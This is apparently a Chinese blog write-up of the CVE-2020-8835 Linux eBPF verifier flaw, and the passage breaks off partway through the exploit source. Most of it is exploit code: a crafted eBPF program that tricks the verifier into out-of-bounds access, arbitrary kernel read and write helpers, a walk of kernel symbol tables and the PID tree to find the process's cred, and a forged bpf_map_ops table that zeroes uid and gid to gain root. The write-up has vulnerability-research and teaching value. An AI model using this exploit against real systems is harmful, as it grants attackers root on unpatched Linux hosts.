内核符号通过EXPORT_SYMBOL()导出,以便其他模块使用。它会做下面这些事情(参考:what is __ksymtab? in linux kernel):
__kstrtab_<symbol_name>
- 作为字符串的符号名称;__ksymtab_<symbol_name>
一个包含符号信息的结构:<symbol_name>
的地址偏移、__kstrtab_<symbol_name>
的地址偏移
kernel用cred
结构体记录进程的权限,保存了进程权限相关信息(uid
、gid
)。如果能修改这个cred
,就完成了提权。
首先我们需要找见这个结构的地址。可以通过以下步骤找见cred
结构。
- 找到
init_pid_ns
该字符串的地址。该字符串地址保存在__kstrtab
。我们先遍历__kstrtab_<symbol_name>
的每一项,以找见__kstrtab_init_pid_ns
。 - 当我们通过
__kstrtab
,找到init_pid_ns
该字符串的地址。 我们需要遍历__ksymtab_<symbol_name>
的每一项。如果某一项的地址+4的内容(其对应字符串的偏移量)+该项的地址 == init_pid_ns的地址
,则找见init_pid_ns
对应的__ksymtab_<symbol_name>
。找到__ksymtab_init_pid_ns
之后,它包含的第一项为init_pid_ns
(默认的pid namespace)结构体的偏移量。 - 此时我们已经知道
init_pid_ns
地址和pid
,如何查看pid
对应的task_struct
?内核kernel/pid.c:find_task_by_pid_ns
函数,实现了这个功能。我们运行的用户空间代码,没法直接使用这个内核函数。我们只需要在用户空间,实现和这个函数相同的功能(利用漏洞在用户空间读取内核内容),即可。找到该进程的task_struct
内核地址之后,task_struct
中的cred
成员,管理着该进程的权限。(注释:我没有阅读这一步的相关源码)
// ---------------------------arbitrary read -------------------- // // 内核符号通过EXPORT_SYMBOL()导出,以便其他模块使用。它会做下面这些事情 // __kstrtab_<symbol_name> - 作为字符串的符号名称; // __ksymtab_<symbol_name>- 一个包含符号信息的结构:<symbol_name>的地址偏移、__kstrtab_<symbol_name>的地址偏移等。 // 先找到init_pid_ns该字符串的地址。该字符串地址保存在__kstrtab。 // 我们先遍历__kstrtab_<symbol_name>的每一项。__kstrtab的范围为[ffffffff824b2a62,ffffffff824eb1e9] // ffffffff81000000 T startup_64 // ffffffff824b2a62 r __kstrtab_empty_zero_page // ffffffff824eb1e9 r __kstrtab___clear_user // start_search = kernel_base + (ffffffff824b2a62-ffffffff81000000=0x14B2A62); // 搜素最大次数:ffffffff824eb1e9-ffffffff824b2a62=0x38787 // 在线网站:https://www.bejson.com/convert/ox2str/,16进制到文本字符串的转换(方向相反是大小端的原因):6469705f74696e69->dip_tini // 当我们通过__kstrtab,找到init_pid_ns该字符串的地址。 // 我们需要遍历__ksymtab_<symbol_name>的每一项。__ksymtab的范围为[ffffffff82487098,ffffffff824a7bdc]=20B44 // 如果某一项的地址+4的内容(其对应字符串的偏移量)+该项的地址 == init_pid_ns的地址,则找见init_pid_ns对应的__ksymtab_<symbol_name> // 找到__ksymtab_init_pid_ns之后,它包含的第一项为init_pid_ns结构体的偏移量 // ffffffff82487098 R __start___ksymtab // ffffffff824a7bdc r __ksymtab_zs_unmap_object // ffffffff81000000 T startup_64 // start_search = kernel_base + (ffffffff82487098−ffffffff81000000 = 0x1487098) // 最大搜索次数:ffffffff824a7bdc - ffffffff82487098 = 0x20B44 // 0x38787÷0x20B44 = 1.72670877。 uint64_t init_pid_ns_str,init_pid_ns_ptr, start_search, addr; // start_search = kernel_base + 0x12f0000; start_search = kernel_base + 0x14B2A62; // for(int i = 0 ; i < 0x2a000; i += 1){ for(int i = 0 ; i < 0x38787; i += 1){ addr = start_search + i; read_low = arbitrary_read(addr); if(read_low == 0x74696e69 ){ read_high = arbitrary_read(addr + 4); if(read_high == 0x6469705f){ printf("[+] found init_pid_ns in __kstrtab_init_pid_ns\n"); init_pid_ns_str = addr; printf("[+] --init_pid_ns_str addr : 0x%lx\n", init_pid_ns_str); break; } } } uint32_t offset_str, offset_ptr; start_search = kernel_base + 0x1487098; // for(int i = 0 ; i < 0x2a000; i += 4){ for(int i = 0 ; i < 0x20B44; i += 12){ //每项大小间隔12 // addr = start_search + i; addr = start_search + i + 4; offset_str = arbitrary_read(addr); if((addr + offset_str) == init_pid_ns_str){ offset_ptr = arbitrary_read(addr - 4); init_pid_ns_ptr = (addr - 4) + offset_ptr; printf("[+] found init_pid_ns_ptr in __ksymtab_init_pid_ns\n"); printf("[+] --init_pid_ns_ptr addr : 0x%lx\n", init_pid_ns_ptr); break; } } // 此时我们已经知道init_pid_ns地址和pid,如何查看pid对应的task_struct? // 内核kernel/pid.c:find_task_by_pid_ns函数,实现了这个功能。 // 我们运行的用户空间代码,没法直接使用这个内核函数。我们只需要在用户空间,实现和这个函数相同的功能(利用漏洞在用户空间读取内核内容),即可。 // 找到该进程的task_struct内核地址之后,task_struct中的cred成员,管理着该进程的权限 uint32_t idr_base = arbitrary_read(init_pid_ns_ptr+0x18); printf("[+] idr_base addr: 0x%lx, value: 0x%lx\n",(init_pid_ns_ptr+0x18), idr_base); pid_t pid = getpid(); printf("[+] pid = %d\n", pid); uint64_t index = pid - idr_base; uint64_t root = init_pid_ns_ptr + 0x8; // &ns->idr &idr->idr_rt printf("[+] &ns->idr, &idr->idr_rt, root: 0x%lx\n",root); uint64_t xa_head = read_8byte(root + 0x8); // &root->xa_head printf("[+] root->xa_head: 0x%lx\n", xa_head); uint64_t node = xa_head; while(1){ uint64_t parent = node & ~RADIX_TREE_INTERNAL_NODE; printf("[+] -- parent: 0x%lx\n", parent); uint64_t shift = arbitrary_read(parent) & 0xff; uint64_t offset = (index >> shift) & RADIX_TREE_MAP_MASK; printf("[+] -- shift: 0x%lx, offset: 0x%lx\n",shift, offset); node = read_8byte(parent + 0x28 + offset*0x8); //parent->slots[offset] printf("[+] -- node: 0x%lx\n", node); if(shift == 0){ break; } } uint64_t first = read_8byte(node + 0x8); //*&pid->tasks[0] printf("[+] first: 0x%lx\n", first); uint64_t task_struct = first - 0x500; // &(*(struct task_struct *)0)->pid_links[0] = 0x500 uint32_t comm = arbitrary_read(task_struct + 0x648); printf("[+] comm: 0x%lx\n", comm); // get comm to check uint64_t cred = read_8byte(task_struct + 0x638);// get cred addr printf("[+] cred: 0x%lx\n", cred);
通过任意写–进行提权
如果我们可以任意写,将cred
中的uid
,gid
,euid
,egid
均修改成零,则提权成功。
exp没有通过任意写,进行修改cred
。它使用fake_map_ops
替换了原来的ops
。其中fake_map_ops
为array_map_ops
表的完整副本。对此副本的唯一修改是map_push_elem
,将其替换成array_map_get_next_key
。另外需要将map type被修改成BPF_MAP_TYPE_STACK
。
- 这样,执行map_update_elem,会调用map->ops->map_push_elem(map, value, attr->flags);
- map_push_elem在上面的fake_map_ops中,被替换成array_map_get_next_key。
- 所以:map_update_elem->map->ops->map_push_elem(map, value, attr->flags)==array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)。key = value,next = falgs.
- 由于key=(u 32)ffffffff >= max_entries=(u 32)-1 = ffffffff, *next=0,即uid被赋值为0。gid同理。
代码实现片段如下。
// arbitrary write BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0), //r0经过r7+0xc0+0x50,指向exp_fd[0];修改bpf_map_ops BPF_ST_MEM(BPF_W,BPF_REG_7,0x18,BPF_MAP_TYPE_STACK),//map type BPF_ST_MEM(BPF_W,BPF_REG_7,0x24,-1),// max_entries BPF_ST_MEM(BPF_W,BPF_REG_7,0x2c,0x0), //lock_off //----------------------------arbitrary write---------------------- // /mnt/data/linux/include/linux/bpf.h中定义着所有的bpf map 操作 /* map is generic key/value storage optionally accesible by eBPF programs */ // struct bpf_map_ops { // /* funcs callable from userspace (via syscall) */ // int (*map_alloc_check)(union bpf_attr *attr); // struct bpf_map *(*map_alloc)(union bpf_attr *attr); // void (*map_release)(struct bpf_map *map, struct file *map_file); // void (*map_free)(struct bpf_map *map); // int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key); // void (*map_release_uref)(struct bpf_map *map); // void *(*map_lookup_elem_sys_only)(struct bpf_map *map, void *key); // /* funcs callable from userspace and from eBPF programs */ // void *(*map_lookup_elem)(struct bpf_map *map, void *key); // int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags); // int (*map_delete_elem)(struct bpf_map *map, void *key); // int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags); // int (*map_pop_elem)(struct bpf_map *map, void *value); // int (*map_peek_elem)(struct bpf_map *map, void *value); // /* funcs called by prog_array and perf_event_array map */ // void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file, // int fd); // void (*map_fd_put_ptr)(void *ptr); // u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf); // u32 (*map_fd_sys_lookup_elem)(void *ptr); // void (*map_seq_show_elem)(struct bpf_map *map, void *key, // struct seq_file *m); // int (*map_check_btf)(const struct bpf_map *map, // const struct btf *btf, // const struct btf_type *key_type, // const struct btf_type *value_type); // /* Prog poke tracking helpers. */ // int (*map_poke_track)(struct bpf_map *map, struct bpf_prog_aux *aux); // void (*map_poke_untrack)(struct bpf_map *map, struct bpf_prog_aux *aux); // void (*map_poke_run)(struct bpf_map *map, u32 key, struct bpf_prog *old, // struct bpf_prog *new); // /* Direct value access helpers. */ // int (*map_direct_value_addr)(const struct bpf_map *map, // u64 *imm, u32 off); // int (*map_direct_value_meta)(const struct bpf_map *map, // u64 imm, u32 *off); // int (*map_mmap)(struct bpf_map *map, struct vm_area_struct *vma); // }; // arrary map 根据自己的特性,有选择的实现即可 // kernel/bpf/arraymap.c // const struct bpf_map_ops array_map_ops = { // .map_alloc_check = array_map_alloc_check, // .map_alloc = array_map_alloc, // .map_free = array_map_free, // .map_get_next_key = array_map_get_next_key, // .map_lookup_elem = array_map_lookup_elem, // .map_update_elem = array_map_update_elem, // .map_delete_elem = array_map_delete_elem, // .map_gen_lookup = array_map_gen_lookup, // .map_direct_value_addr = array_map_direct_value_addr, // .map_direct_value_meta = array_map_direct_value_meta, // .map_mmap = array_map_mmap, // .map_seq_show_elem = array_map_seq_show_elem, // .map_check_btf = array_map_check_btf, // }; // ffffffff82049940 R array_map_ops // ffffffff811fab30 T array_map_alloc_check // ffffffff811fbae0 t array_map_alloc // ffffffff811fb280 t array_map_free // ffffffff811fac20 t array_map_get_next_key // ffffffff811face0 t array_map_lookup_elem // ffffffff811fb140 t array_map_update_elem // ffffffff811fac60 t array_map_delete_elem // ffffffff811fafb0 t array_map_gen_lookup // ffffffff811fabb0 t array_map_direct_value_addr // ffffffff811fabe0 t array_map_direct_value_meta // ffffffff811fad80 t array_map_mmap // ffffffff811fadc0 t array_map_seq_show_elem // ffffffff811fb8f0 t array_map_check_btf uint64_t fake_map_ops[] = { kernel_base + (0xffffffff811fab30 - 0xffffffff81000000), // map_alloc_check kernel_base + (0xffffffff811fbae0 - 0xffffffff81000000), // map_alloc 0, // map_release kernel_base + (0xffffffff811fb280 - 0xffffffff81000000), // map_free kernel_base + (0xffffffff811fac20 - 0xffffffff81000000), // map_get_next_key 0x0, // map_release_uref 0x0, // map_lookup_elem_sys_only kernel_base + (0xffffffff811face0 - 0xffffffff81000000), // map_lookup_elem kernel_base + (0xffffffff811fb140 - 0xffffffff81000000), // map_update_elem kernel_base + (0xffffffff811fac60 - 0xffffffff81000000), // map_delete_elem kernel_base + (0xffffffff811fac20 - 0xffffffff81000000), // map_push_elem -> map_get_next_key 0x0, // map_pop_elem 0x0, // map_peek_elem 0x0, // map_fd_get_ptr 0x0, // map_fd_put_ptr kernel_base + (0xffffffff811fafb0 - 0xffffffff81000000), // map_gen_lookup 0x0, // map_fd_sys_lookup_elem kernel_base + (0xffffffff811fadc0 - 0xffffffff81000000), // map_seq_show_elem kernel_base + (0xffffffff811fb8f0 - 0xffffffff81000000), // map_check_btf 0x0, // map_poke_track 0x0, // map_poke_untrack 0x0, // map_poke_run kernel_base + (0xffffffff811fabb0 - 0xffffffff81000000), // map_direct_value_addr kernel_base + (0xffffffff811fabe0 - 0xffffffff81000000), // map_direct_value_meta kernel_base + (0xffffffff811fad80 - 0xffffffff81000000), // map_mmap }; memcpy(exp_buf, fake_map_ops, sizeof(fake_map_ops)); update_elem(2); // 2:write;map类型修改为BPF_MAP_TYPE_STACK // value = ffffffffffffffff; // cred+4+i*4 为uid,gid,suid,sgid,...... // 由于map type被修改成BPF_MAP_TYPE_STACK,执行map_update_elem,会调用map->ops->map_push_elem(map, value, attr->flags); // map_push_elem在上面的fake_map_ops中,被替换成array_map_get_next_key。 // 所以:map_update_elem->map->ops->map_push_elem(map, value, attr->flags)==array_map_get_next_key(struct bpf_map *map, void *key, void *next_key) // key = value,next = falgs. // 由于key=(u 32)ffffffff >= max_entries=(u 32)-1 = ffffffff, *next=0,即uid被赋值为0。gid同理。 exp_buf[0] = 0x0-1; for(int i = 0; i < 8; i++){ bpf_update_elem(0, exp_buf, exp_mapfd, cred+4+i*4); }
运行结果
没有开启 KASLR的运行结果。
开启 KASLR的运行结果。
附录
漏洞复现步骤
来源:漏洞情报-验证-搭建环境-复现/利用
我们首先需要了解漏洞的相关信息。
- 国内:国家信息安全漏洞库-CNNVD、国家信息安全漏洞共享平台-CNVD、工业和信息化部网络安全威胁和漏洞信息共享平台-CSTIS
- 国外:CVE,CVE计划的使命是识别、定义和编目公开披露的网络安全漏洞。目录中的每个漏洞都有一个CVE 记录。这些漏洞被发现,然后由与 CVE 计划合作的世界各地的组织分配和发布。合作伙伴发布 CVE 记录以传达对漏洞的一致描述。信息技术和网络安全专业人员使用 CVE 记录来确保他们正在讨论同一问题,并协调他们的工作以优先考虑和解决漏洞。NVD,是美国政府使用安全内容自动化协议 (SCAP) 表示的基于标准的漏洞管理数据存储库。此数据可实现漏洞管理、安全测量和合规性的自动化。NVD 包括安全检查表参考、与安全相关的软件缺陷、错误配置、产品名称和影响指标的数据库。
接着,我们需要通过POC/EXP来验证漏洞。
- 国内:seebug、poc++
- 国外:expioit-db、0day-today
最后,搭建靶场,进行实验。
参考链接
CVE-2020-8835: LINUX KERNEL PRIVILEGE ESCALATION VIA IMPROPER EBPF PROGRAM VERIFICATION
【kernel exploit】CVE-2020-8835:eBPF verifier 整数截断导致越界读写
CVE-2020-8835_eBPF提权漏洞分析
EXP完整代码
下面是exp完整代码。源码来自于CVE-2020-8835。我根据自己编译的内核,调整了偏移值。
// gcc aaaa.c -o aaaa -static #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/unistd.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/stat.h> #include <sys/personality.h> #include <sys/prctl.h> #include "./bpf.h" #define BPF_JMP32 0x06 #define BPF_JLT 0xa0 #define BPF_OBJ_GET_INFO_BY_FD 15 #define BPF_MAP_TYPE_STACK 0x17 #define BPF_ALU64_IMM(OP, DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_ALU64_REG(OP, DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_ALU32_IMM(OP, DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_ALU32_REG(OP, DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_MOV64_REG(DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_MOV32_REG(DST, SRC) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = 0 }) #define BPF_MOV64_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU64 | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM }) #define BPF_LD_IMM64(DST, IMM) \ BPF_LD_IMM64_RAW(DST, 0, IMM) #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ ((struct bpf_insn) { \ .code = BPF_LD | BPF_DW | BPF_IMM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = 0, \ .imm = (__u32) (IMM) }), \ ((struct bpf_insn) { \ .code = 0, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = ((__u64) (IMM)) >> 32 }) #ifndef BPF_PSEUDO_MAP_FD # define BPF_PSEUDO_MAP_FD 1 #endif #define BPF_LD_IMM64(DST, IMM) \ BPF_LD_IMM64_RAW(DST, 0, IMM) #define BPF_LD_MAP_FD(DST, MAP_FD) \ BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ ((struct bpf_insn) { \ .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) /* Unconditional jumps, goto pc + off16 */ #define BPF_JMP_A(OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_JA, \ .dst_reg = 0, \ .src_reg = 0, \ .off = OFF, \ .imm = 0 }) #define BPF_JMP32_REG(OP, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) /* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */ #define BPF_JMP32_IMM(OP, DST, IMM, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) #define BPF_JMP_REG(OP, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ ((struct bpf_insn) { \ .code = CODE, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = IMM }) #define BPF_EXIT_INSN() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 }) #define BPF_MAP_GET(idx, dst) \ BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \ BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \ BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \ BPF_EXIT_INSN(), /* exit(0); */ \ BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ #define BPF_MAP_GET_ADDR(idx, dst) \ BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \ BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \ BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \ BPF_EXIT_INSN(), /* exit(0); */ \ BPF_MOV64_REG((dst), BPF_REG_0) /* r_dst = (r0) */ /* Memory load, dst_reg = *(uint *) (src_reg + off16) */ #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) /* Memory store, *(uint *) (dst_reg + off16) = src_reg */ #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ ((struct bpf_insn) { \ .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = 0 }) char buffer[64]; int sockets[2]; int progfd; int ctrl_mapfd, exp_mapfd; int doredact = 0; #define LOG_BUF_SIZE 0x100000 char bpf_log_buf[LOG_BUF_SIZE]; uint64_t ctrl_buf[0x100]; uint64_t exp_buf[0x3000]; char info[0x100]; #define RADIX_TREE_INTERNAL_NODE 2 #define RADIX_TREE_MAP_MASK 0x3f static __u64 ptr_to_u64(void *ptr) { return (__u64) (unsigned long) ptr; } int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = ptr_to_u64((void *) insns), .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = ptr_to_u64((void *) license), .log_buf = ptr_to_u64(bpf_log_buf), .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); } int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries, int map_flags) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); } static int bpf_update_elem(uint64_t key, void *value, int mapfd, uint64_t flags) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)value, .flags = flags, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); } static int bpf_lookup_elem(void *key, void *value, int mapfd) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)value, .info.bpf_fd = mapfd, .info.info_len = 0x100, .info.info = (__u64)info, }; syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr)); return *(uint32_t *)((char *)info+0x40); } static void __exit(char *err) { fprintf(stderr, "error: %s\n", err); exit(-1); } static int load_my_prog() { struct bpf_insn my_prog[] = { BPF_LD_MAP_FD(BPF_REG_9,ctrl_mapfd), // 将ctrl_mapfd的id值加载到r9 BPF_MAP_GET(0,BPF_REG_8), //1 // 将ctrl_mapfd[0]的值保存到r8;~~后面传入的值为0x2000000000+0x110;~~ BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), // 将ctrl_mapfd[0]的地址保存到r6; /* r_dst = (r0) */ BPF_LD_IMM64(BPF_REG_2,0x4000000000), BPF_LD_IMM64(BPF_REG_3,0x2000000000), BPF_LD_IMM64(BPF_REG_4,0xFFFFffff), BPF_LD_IMM64(BPF_REG_5,0x1), BPF_JMP_REG(BPF_JGT,BPF_REG_8,BPF_REG_2,5), // r8 > 0x4000000000 则跳转; BPF_JMP_REG(BPF_JLT,BPF_REG_8,BPF_REG_3,4), // r8 < 0x2000000000 则跳转; BPF_JMP32_REG(BPF_JGT,BPF_REG_8,BPF_REG_4,3), // (u32)r8 > 0xFFFFffff 则跳转; BPF_JMP32_REG(BPF_JLT,BPF_REG_8,BPF_REG_5,2), // (u32)r8 < 0x1 则跳转; BPF_ALU64_REG(BPF_AND,BPF_REG_8,BPF_REG_4), // 此时验证程序认为r8==0;~~截取保留后面32位,为0x110~~ BPF_JMP_IMM(BPF_JA, 0, 0, 2), // r0寄存器保存BPF_FUNC_map_lookup_elem的返回值,必须大于0。否则上面查找失败 BPF_MOV64_IMM(BPF_REG_0,0x0), BPF_EXIT_INSN(), //-------- exp_mapfd BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd), // 将exp_mapfd的id值加载到r9 BPF_MAP_GET_ADDR(0,BPF_REG_7), //2 // 将exp_mapfd[0]的地址加载到r7; BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_8), // r7 = r7-r8 = r7-0x110;前面必须欺骗r8==0,才能通过; 此条指令之后,r7指向bpf_array。bpf_array第一元素为struct bpf_map map BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0), // struct bpf_map map的第一个元素为bpf_map_ops指针。这里获得bpf_map_ops指针,保存在r0中。 BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x10), // *(u64 *)(r6+0x10)=r0; r6是我们ctrl_mapfd[0]的地址,将泄露的bpf_map_ops指针,保存到ctrl_map[2]中 BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0xc0), // r0=*(u64 *)(r7+0xc0). BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x18), // *(u64 *)(r6+0x18)=r0; 将map+0xc0的地址,保存到ctrl_map[3]中 BPF_ALU64_IMM(BPF_ADD,BPF_REG_0,0x50), // &ctrl[0]+0x8 -> op 1:read 2:write BPF_LDX_MEM(BPF_DW,BPF_REG_8,BPF_REG_6,0x8), // r8 = op BPF_JMP_IMM(BPF_JNE, BPF_REG_8, 1, 4), //3 // arbitrary read BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_6,0x20), // r8 = op ctrl_map[4](填充我们需要读取的地址) -> (读取内容填入)r0 BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x40), // *(u64 *)(r7+0x40)为结构map->btf,=r0 ; map->bpf->id ,=r0+0x58 BPF_MOV64_IMM(BPF_REG_0,0x0), BPF_EXIT_INSN(), BPF_JMP_IMM(BPF_JNE, BPF_REG_8, 2, 4), //3 // arbitrary write BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0), //r0经过r7+0xc0+0x50,指向exp_fd[0];修改bpf_map_ops BPF_ST_MEM(BPF_W,BPF_REG_7,0x18,BPF_MAP_TYPE_STACK),//map type BPF_ST_MEM(BPF_W,BPF_REG_7,0x24,-1),// max_entries BPF_ST_MEM(BPF_W,BPF_REG_7,0x2c,0x0), //lock_off BPF_MOV64_IMM(BPF_REG_0,0x0), BPF_EXIT_INSN(), }; return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,my_prog,sizeof(my_prog),"GPL",0); } static void prep(void) { ctrl_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,1,0); if(ctrl_mapfd < 0){ __exit(strerror(errno)); } exp_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,1,0); if(ctrl_mapfd < 0){ __exit(strerror(errno)); } printf("ctrl_mapfd:%d, exp_mapfd:%d\n", ctrl_mapfd, exp_mapfd); progfd = load_my_prog(); if(progfd < 0){ printf("%s\n",bpf_log_buf); __exit(strerror(errno)); } //printf("%s\n",bpf_log_buf); if(socketpair(AF_UNIX,SOCK_DGRAM,0,sockets)){ __exit(strerror(errno)); } if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){ __exit(strerror(errno)); } } static void writemsg(void) { char buffer[64]; ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) fprintf(stderr, "short write: %lu\n", n); } static void update_elem(uint32_t op) { ctrl_buf[0] = 0x2000000000+0x110; ctrl_buf[1] = op; bpf_update_elem(0, ctrl_buf, ctrl_mapfd, 0); bpf_update_elem(0, exp_buf, exp_mapfd, 0); writemsg(); } static uint64_t infoleak(uint64_t *buffer, int mapfd) { uint64_t key = 0; if (bpf_lookup_elem(&key, buffer, mapfd)) __exit(strerror(errno)); } static uint32_t arbitrary_read(uint64_t addr){ uint32_t read_info; ctrl_buf[0] = 0x2000000000+0x110; ctrl_buf[1] = 1; ctrl_buf[4] = addr - 0x58; bpf_update_elem(0, ctrl_buf, ctrl_mapfd, 0); bpf_update_elem(0, exp_buf, exp_mapfd, 0); writemsg(); read_info = bpf_map_get_info_by_fd(0, exp_buf, exp_mapfd, info); return read_info; } static uint64_t read_8byte(uint64_t addr){ uint32_t addr_low = 